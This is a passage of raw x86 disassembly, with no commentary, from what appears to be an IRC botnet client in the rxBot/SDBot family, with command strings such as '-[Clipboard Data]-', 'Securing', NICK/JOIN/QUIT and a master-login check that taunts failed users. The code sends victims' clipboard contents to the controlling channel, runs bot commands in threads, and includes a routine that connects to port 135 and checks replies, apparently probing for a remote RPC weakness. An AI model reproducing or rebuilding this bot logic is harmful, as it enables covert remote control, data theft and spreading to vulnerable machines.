; ---------------------------------------------------------------------------
loc_411FB0: ; CODE XREF: sub_40CE55+513Ej
push offset unk_4339F4
jmp short loc_411F9A
; ---------------------------------------------------------------------------
loc_411FB7: ; CODE XREF: sub_40CE55+16DEj
; sub_40CE55+16F3j
cmp [ebp+var_8], ebx
jnz short loc_411FD6
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_411FD6: ; CODE XREF: sub_40CE55+5165j
push ebx
push [ebp+var_4]
call sub_409C92
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push offset dword_4339B0
jmp loc_4122BE
; ---------------------------------------------------------------------------
loc_411FF8: ; CODE XREF: sub_40CE55+15FEj
; sub_40CE55+1613j
push 7
call sub_4151DB
test eax, eax
pop ecx
jle short loc_41200B
push offset dword_433974
jmp short loc_41202C
; ---------------------------------------------------------------------------
loc_41200B: ; CODE XREF: sub_40CE55+51ADj
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40A7FD
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_412027
push offset dword_433938
jmp short loc_41202C
; ---------------------------------------------------------------------------
loc_412027: ; CODE XREF: sub_40CE55+51C9j
push offset dword_433904
loc_41202C: ; CODE XREF: sub_40CE55+2B3Dj
; sub_40CE55+2C6Dj ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40F7B1
; ---------------------------------------------------------------------------
loc_41203F: ; CODE XREF: sub_40CE55+15D4j
; sub_40CE55+15E9j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40967F
jmp loc_40D216
; ---------------------------------------------------------------------------
loc_412058: ; CODE XREF: sub_40CE55+15AAj
; sub_40CE55+15BFj
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40C515
jmp loc_40D216
; ---------------------------------------------------------------------------
loc_412075: ; CODE XREF: sub_40CE55+1580j
; sub_40CE55+1595j
or edi, 0FFFFFFFFh
call dword_42104C
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_41209E
push esi
call sub_415A5F
pop ecx
mov edi, eax
loc_41209E: ; CODE XREF: sub_40CE55+523Ej
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_4120B7
cmp edi, 0FFFFFFFFh
jnz loc_41298E
loc_4120B7: ; CODE XREF: sub_40CE55+5257j
push ebx
call sub_40A9B2
push eax
lea eax, [ebp+var_2C8]
push offset dword_4338D8
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
jmp loc_410180
; ---------------------------------------------------------------------------
loc_4120F9: ; CODE XREF: sub_40CE55+1556j
; sub_40CE55+156Bj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4085D3
lea eax, [ebp+var_2C8]
push offset unk_4338A4
push eax
call sub_4154E7
add esp, 14h
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_412123: ; CODE XREF: sub_40CE55+152Cj
; sub_40CE55+1541j
push 1Eh
call sub_4151DB
test eax, eax
pop ecx
jle short loc_41214C
cmp [ebp+var_8], ebx
jnz loc_40D219
push ebx
push [ebp+var_4]
push offset dword_433870
push [ebp+var_8C]
jmp loc_40D777
; ---------------------------------------------------------------------------
loc_41214C: ; CODE XREF: sub_40CE55+52D8j
push [ebp+var_8C]
lea eax, [ebp+var_4DC]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4E0], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_450], eax
mov [ebp+var_458], ebx
jz short loc_4121AD
push esi
push offset aFull ; "full"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4121AD
mov [ebp+var_458], 1
loc_4121AD: ; CODE XREF: sub_40CE55+533Bj
; sub_40CE55+534Cj
lea eax, [ebp+var_2C8]
push offset dword_433834
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 1Eh
push eax
call sub_414F93
add esp, 14h
mov [ebp+var_45C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4E0]
push ebx
push eax
push offset sub_413F83
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_45C]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_41221B
loc_412205: ; CODE XREF: sub_40CE55+53C4j
cmp [ebp+var_44C], ebx
jnz loc_41284E
push 32h
call dword_421060
jmp short loc_412205
; ---------------------------------------------------------------------------
loc_41221B: ; CODE XREF: sub_40CE55+53AEj
call dword_421088
push eax
push offset dword_4337E4
jmp loc_41283F
; ---------------------------------------------------------------------------
loc_41222C: ; CODE XREF: sub_40CE55+1502j
; sub_40CE55+1517j
cmp [ebp+var_8], ebx
jnz short loc_41224B
push ebx
push [ebp+var_4]
push offset dword_4337B8
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_41224B: ; CODE XREF: sub_40CE55+53DAj
push [ebp+arg_4]
call dword_43A450
call dword_43A318
call sub_409E15
push ebx
call dword_421114
loc_412266: ; CODE XREF: sub_40CE55+14D8j
; sub_40CE55+14EDj
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_40AAD1
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push offset dword_43378C
jmp short loc_4122BE
; ---------------------------------------------------------------------------
loc_412291: ; CODE XREF: sub_40CE55+14AEj
; sub_40CE55+14C3j
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40AD85
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push offset dword_433760
loc_4122BE: ; CODE XREF: sub_40CE55+519Ej
; sub_40CE55+543Aj
call sub_40B16D
jmp loc_410F32
; ---------------------------------------------------------------------------
loc_4122C8: ; CODE XREF: sub_40CE55+1484j
; sub_40CE55+1499j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B20D
jmp loc_40D216
; ---------------------------------------------------------------------------
loc_4122E1: ; CODE XREF: sub_40CE55+145Aj
; sub_40CE55+146Fj
cmp [ebp+var_C], ebx
mov [ebp+var_374], bl
jz short loc_412320
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412320
push esi
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412320
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_374]
push 80h
push eax
call sub_415A6A
add esp, 10h
loc_412320: ; CODE XREF: sub_40CE55+5495j
; sub_40CE55+54A0j ...
push [ebp+var_8C]
lea eax, [ebp+var_3F4]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
push offset dword_433734
mov [ebp+var_3F8], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2EC], eax
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 1Ch
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8]
push ebx
push eax
push offset sub_40B27F
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_4123C0
loc_4123AA: ; CODE XREF: sub_40CE55+5569j
cmp [ebp+var_2E8], ebx
jnz loc_40D219
push 32h
call dword_421060
jmp short loc_4123AA
; ---------------------------------------------------------------------------
loc_4123C0: ; CODE XREF: sub_40CE55+5553j
call dword_421088
push eax
push offset dword_4336E8
jmp loc_40D402
; ---------------------------------------------------------------------------
loc_4123D1: ; CODE XREF: sub_40CE55+1430j
; sub_40CE55+1445j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B0F5
push offset dword_4336BC
call sub_40B16D
jmp loc_411F60
; ---------------------------------------------------------------------------
loc_4123F1: ; CODE XREF: sub_40CE55+1406j
; sub_40CE55+141Bj
push [ebp+var_8C]
lea eax, [ebp+var_4DC]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4E0], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_450], eax
jz short loc_41244B
push offset dword_4336B8
push esi
call sub_415910
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_458], eax
jmp short loc_412451
; ---------------------------------------------------------------------------
loc_41244B: ; CODE XREF: sub_40CE55+55DAj
mov [ebp+var_458], ebx
loc_412451: ; CODE XREF: sub_40CE55+55F4j
lea eax, [ebp+var_2C8]
push offset dword_433688
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 1Fh
push eax
call sub_414F93
add esp, 14h
mov [ebp+var_45C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4E0]
push ebx
push eax
push offset sub_414FFE
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_45C]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_4124BB
loc_4124A9: ; CODE XREF: sub_40CE55+5664j
cmp [ebp+var_44C], ebx
jnz short loc_4124D6
push 32h
call dword_421060
jmp short loc_4124A9
; ---------------------------------------------------------------------------
loc_4124BB: ; CODE XREF: sub_40CE55+5652j
call dword_421088
push eax
push offset dword_43363C
loc_4124C7: ; CODE XREF: sub_40CE55+4523j
; sub_40CE55+463Cj
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_4124D6: ; CODE XREF: sub_40CE55+28C1j
; sub_40CE55+28E3j ...
lea eax, [ebp+var_2C8]
push eax
jmp loc_40E519
; ---------------------------------------------------------------------------
loc_4124E2: ; CODE XREF: sub_40CE55+138Aj
; sub_40CE55+139Fj
push offset aIdsppn ; "idsppn"
lea eax, [ebp+var_2C8]
push offset dword_433610
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 20h
jmp loc_40EFA7
; ---------------------------------------------------------------------------
loc_412519: ; CODE XREF: sub_40CE55+1360j
; sub_40CE55+1375j
push dword_468838
call sub_40A9B2
push eax
lea eax, [ebp+var_2C8]
push offset dword_4335D0
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 24h
jmp loc_40EFA7
; ---------------------------------------------------------------------------
loc_412557: ; CODE XREF: sub_40CE55+1336j
; sub_40CE55+134Bj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412589
cmp [ebp+var_C], ebx
jz short loc_412598
push esi
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412598
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_412D06
add esp, 0Ch
jmp short loc_412598
; ---------------------------------------------------------------------------
loc_412589: ; CODE XREF: sub_40CE55+570Bj
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_412D06
pop ecx
pop ecx
loc_412598: ; CODE XREF: sub_40CE55+5710j
; sub_40CE55+571Fj ...
push 0FFFFFFFEh
jmp loc_40D21B
; ---------------------------------------------------------------------------
loc_41259F: ; CODE XREF: sub_40CE55+130Cj
; sub_40CE55+1321j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_412D06
push offset dword_43357C
call sub_40B16D
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_4125C1: ; CODE XREF: sub_40CE55+12E2j
; sub_40CE55+12F7j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_412D06
push offset dword_433538
call sub_40B16D
add esp, 0Ch
xor eax, eax
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_4125E2: ; CODE XREF: sub_40CE55+12B8j
; sub_40CE55+12CDj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_407135
jmp loc_410E9B
; ---------------------------------------------------------------------------
loc_4125F8: ; CODE XREF: sub_40CE55+1213j
; sub_40CE55+1228j
push [ebp+esi+var_90]
push 1Eh
push offset dword_433528
push offset dword_43351C
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_412610: ; CODE XREF: sub_40CE55+11E9j
; sub_40CE55+11FEj
push [ebp+esi+var_90]
push 1Bh
push offset dword_433510
push offset dword_433500
jmp loc_40DEA8
; ---------------------------------------------------------------------------
loc_412628: ; CODE XREF: sub_40CE55+1014j
; sub_40CE55+1029j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_412647
push edi
call sub_415A5F
test eax, eax
pop ecx
jz short loc_412647
push edi
call sub_415A5F
pop ecx
jmp short loc_41264C
; ---------------------------------------------------------------------------
loc_412647: ; CODE XREF: sub_40CE55+57DCj
; sub_40CE55+57E7j
mov eax, dword_42C184
loc_41264C: ; CODE XREF: sub_40CE55+57F0j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_464], eax
cmp esi, ebx
jz short loc_412671
push esi
loc_41265E: ; CODE XREF: sub_40CE55+582Bj
lea eax, [ebp+var_474]
push 10h
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_412688
; ---------------------------------------------------------------------------
loc_412671: ; CODE XREF: sub_40CE55+5806j
cmp [ebp+var_9B3], bl
jz short loc_412682
lea eax, [ebp+var_C4]
push eax
jmp short loc_41265E
; ---------------------------------------------------------------------------
loc_412682: ; CODE XREF: sub_40CE55+5822j
mov [ebp+var_474], bl
loc_412688: ; CODE XREF: sub_40CE55+581Aj
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_458], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_454], eax
lea eax, [ebp+var_4F4]
push eax
mov [ebp+var_4F8], esi
call sub_415A6A
add esp, 0Ch
push [ebp+var_464]
push esi
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_427D5C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 11h
push eax
call sub_414F93
add esp, 1Ch
mov [ebp+var_460], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F8]
push ebx
push eax
push offset sub_40800A
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_460]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_412739
loc_412723: ; CODE XREF: sub_40CE55+58E2j
cmp [ebp+var_450], ebx
jnz loc_40D219
push 32h
call dword_421060
jmp short loc_412723
; ---------------------------------------------------------------------------
loc_412739: ; CODE XREF: sub_40CE55+58CCj
call dword_421088
push eax
push offset unk_4334B4
jmp loc_40D402
; ---------------------------------------------------------------------------
loc_41274A: ; CODE XREF: sub_40CE55+FC0j
; sub_40CE55+FD5j ...
push edi
push offset aSecure ; "secure"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_412772
push edi
push offset aSec ; "sec"
call sub_415910
pop ecx
mov [ebp+var_458], ebx
test eax, eax
pop ecx
jnz short loc_41277C
loc_412772: ; CODE XREF: sub_40CE55+5904j
mov [ebp+var_458], 1
loc_41277C: ; CODE XREF: sub_40CE55+591Bj
push [ebp+var_8C]
lea eax, [ebp+var_4DC]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_458], ebx
mov [ebp+var_4E0], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
mov [ebp+var_450], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_4127C3
mov eax, offset aUnsecuring ; "Unsecuring"
loc_4127C3: ; CODE XREF: sub_40CE55+5967j
push eax
push offset dword_433464
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
push ebx
lea eax, [ebp+var_2C8]
push 19h
push eax
call sub_414F93
add esp, 1Ch
mov [ebp+var_45C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4E0]
push ebx
push eax
push offset sub_41465A
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_45C]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_412833
loc_412821: ; CODE XREF: sub_40CE55+59DCj
cmp [ebp+var_44C], ebx
jnz short loc_41284E
push 32h
call dword_421060
jmp short loc_412821
; ---------------------------------------------------------------------------
loc_412833: ; CODE XREF: sub_40CE55+59CAj
call dword_421088
push eax
push offset unk_433414
loc_41283F: ; CODE XREF: sub_40CE55+3C66j
; sub_40CE55+4738j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_41284E: ; CODE XREF: sub_40CE55+295Fj
; sub_40CE55+2981j ...
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
jmp loc_40D408
; ---------------------------------------------------------------------------
loc_41285F: ; CODE XREF: sub_40CE55+F96j
; sub_40CE55+FABj
push offset aEnz9_9b ; "enz 9.9b"
push offset dword_4333F0
loc_412869: ; CODE XREF: sub_40CE55+44D8j
; sub_40CE55+47ECj ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
loc_412875: ; CODE XREF: sub_40CE55+5156j
add esp, 0Ch
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_41287D: ; CODE XREF: sub_40CE55+F6Cj
; sub_40CE55+F81j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4128DD
push esi
call sub_415A5F
cmp eax, ebx
pop ecx
jl short loc_4128D2
cmp eax, 2
jge short loc_4128D2
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_4128C7
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C8]
push offset dword_436538
push eax
call sub_4154E7
add esp, 0Ch
mov [esi], bl
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_4128C7: ; CODE XREF: sub_40CE55+5A51j
push eax
push offset dword_4333B0
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_4128D2: ; CODE XREF: sub_40CE55+5A3Cj
; sub_40CE55+5A41j
push eax
push offset dword_433370
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_4128DD: ; CODE XREF: sub_40CE55+5A31j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4128E2: ; CODE XREF: sub_40CE55+5AA9j
push [ebp+var_94]
push edi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_412905
inc esi
add edi, 80h
cmp esi, 2
jl short loc_4128E2
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_412905: ; CODE XREF: sub_40CE55+5A9Dj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset dword_436538
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_41291F: ; CODE XREF: sub_40CE55+F42j
; sub_40CE55+F57j
push [ebp+var_90]
push offset dword_436490
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_41298E
call sub_41515C
push ebx
call dword_421114
loc_412941: ; CODE XREF: sub_40CE55+F18j
; sub_40CE55+F2Dj
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_9A4], bl
setnz al
push eax
lea eax, [ebp+var_564]
push dword_42C1A4
push eax
call sub_414433
lea eax, [ebp+var_564]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_564]
push eax
push offset dword_433338
call sub_40B1E1
loc_41298B: ; CODE XREF: sub_40CE55+2ADAj
add esp, 24h
loc_41298E: ; CODE XREF: sub_40CE55+65Cj
; sub_40CE55+668j ...
mov eax, [ebp+arg_24]
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_412996: ; CODE XREF: sub_40CE55+B18j
; sub_40CE55+B2Dj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], esi
jz loc_40D219
cmp [ebp+var_98], ebx
jnz loc_40D219
push offset dword_42F3F8
push [ebp+var_94]
call sub_416C98
mov esi, eax
push offset dword_438FF4
push ebx
inc esi
call sub_416C98
push offset asc_433334 ; "~"
push eax
call sub_416C98
push [ebp+arg_0]
mov edi, eax
push offset aHi ; "hi"
call sub_415910
add esp, 20h
test eax, eax
jz short loc_412A3E
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_412D06
push edi
push esi
push offset dword_4332A8
loc_412A2A: ; CODE XREF: sub_40CE55+5C45j
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 30h
jmp loc_40D7F9
; ---------------------------------------------------------------------------
loc_412A3E: ; CODE XREF: sub_40CE55+5B9Cj
mov [ebp+arg_24], offset off_42C264
loc_412A45: ; CODE XREF: sub_40CE55+5C0Cj
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_4152EC
pop ecx
test eax, eax
pop ecx
jnz short loc_412A9C
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_42C268
jl short loc_412A45
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_412D06
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_412D06
push edi
push esi
push offset dword_433268
jmp short loc_412A2A
; ---------------------------------------------------------------------------
loc_412A9C: ; CODE XREF: sub_40CE55+5BFFj
mov edi, [ebp+arg_18]
xor esi, esi
loc_412AA1: ; CODE XREF: sub_40CE55+5C76j
cmp [ebp+arg_0], ebx
jz loc_40D219
cmp [edi], bl
jnz short loc_412AC1
push [ebp+arg_0]
push offset aHi ; "hi"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_412AD2
loc_412AC1: ; CODE XREF: sub_40CE55+5C57j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_412AA1
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_412AD2: ; CODE XREF: sub_40CE55+5C6Aj
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_A94]
push 7Fh
push eax
push esi
call sub_416D40
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_412B09
push ebx
push [ebp+var_4]
push offset dword_433234
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_412B09: ; CODE XREF: sub_40CE55+5C98j
lea eax, [ebp+var_C4]
push eax
push offset dword_433200
jmp loc_40D402
; ---------------------------------------------------------------------------
loc_412B1A: ; CODE XREF: sub_40CE55+20Ej
; sub_40CE55+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_412D06
push offset dword_42C240
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
add esp, 2Ch
mov dword_4689B8, edi
jmp loc_40D0F2
sub_40CE55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B60 proc near ; CODE XREF: sub_412B98+125p
; sub_412B98+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_412B8E
loc_412B71: ; CODE XREF: sub_412B60+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_417930
add esp, 0Ch
test eax, eax
jz short loc_412B94
inc esi
cmp esi, edi
jl short loc_412B71
loc_412B8E: ; CODE XREF: sub_412B60+Fj
xor al, al
loc_412B90: ; CODE XREF: sub_412B60+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_412B94: ; CODE XREF: sub_412B60+27j
mov al, 1
jmp short loc_412B90
sub_412B60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B98 proc near ; CODE XREF: sub_4033CB+8Bp
; sub_4033CB+174p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_415D70
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_412BD9
dec eax
jz short loc_412BB7
dec eax
loc_412BB1: ; CODE XREF: sub_412B98+57j
xor eax, eax
loc_412BB3: ; CODE XREF: sub_412B98+3Fj
; sub_412B98+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_412BB7: ; CODE XREF: sub_412B98+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_43A3F8
push eax
call sub_4076EE
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_412BB3
; ---------------------------------------------------------------------------
loc_412BD9: ; CODE XREF: sub_412B98+13j
push 6
push 1
push 2
call dword_43A438
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_412BB1
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_43A3B8
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A05B
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43A360
cmp eax, edi
jz loc_412CF5
push ebx
push 48h
push offset dword_4365B0
push esi
call dword_43A408
cmp eax, edi
jz loc_412CF5
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43A3D0
cmp eax, edi
jz loc_412CF5
cmp [ebp+var_200E], 0Ch
jnz short loc_412CF5
push ebx
push 18h
push offset dword_4365FC
push [ebp+arg_4]
call dword_43A408
cmp eax, edi
jz short loc_412CF5
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43A3D0
mov esi, eax
cmp esi, edi
jz short loc_412CF5
cmp [ebp+var_200E], 2
jnz short loc_412CF5
push 10h
push offset loc_436618
lea eax, [ebp+var_2010]
push esi
push eax
call sub_412B60
add esp, 10h
test al, al
jz short loc_412CD5
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_412CF5
; ---------------------------------------------------------------------------
loc_412CD5: ; CODE XREF: sub_412B98+12Fj
push 10h
push offset dword_43662C
lea eax, [ebp+var_2010]
push esi
push eax
call sub_412B60
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_412CF5: ; CODE XREF: sub_412B98+9Bj
; sub_412B98+B2j ...
push [ebp+arg_4]
call dword_43A450
mov eax, ebx
pop ebx
jmp loc_412BB3
sub_412B98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D06 proc near ; CODE XREF: sub_40CCDD+3Dp
; sub_40CE55+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41748F
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43A408
leave
retn
sub_412D06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D4C proc near ; CODE XREF: sub_401000+88p
; sub_401447+76p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_412D67
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_412D67: ; CODE XREF: sub_412D4C+14j
push edi
call sub_415CF0
push [ebp+arg_4]
mov esi, 1FAh
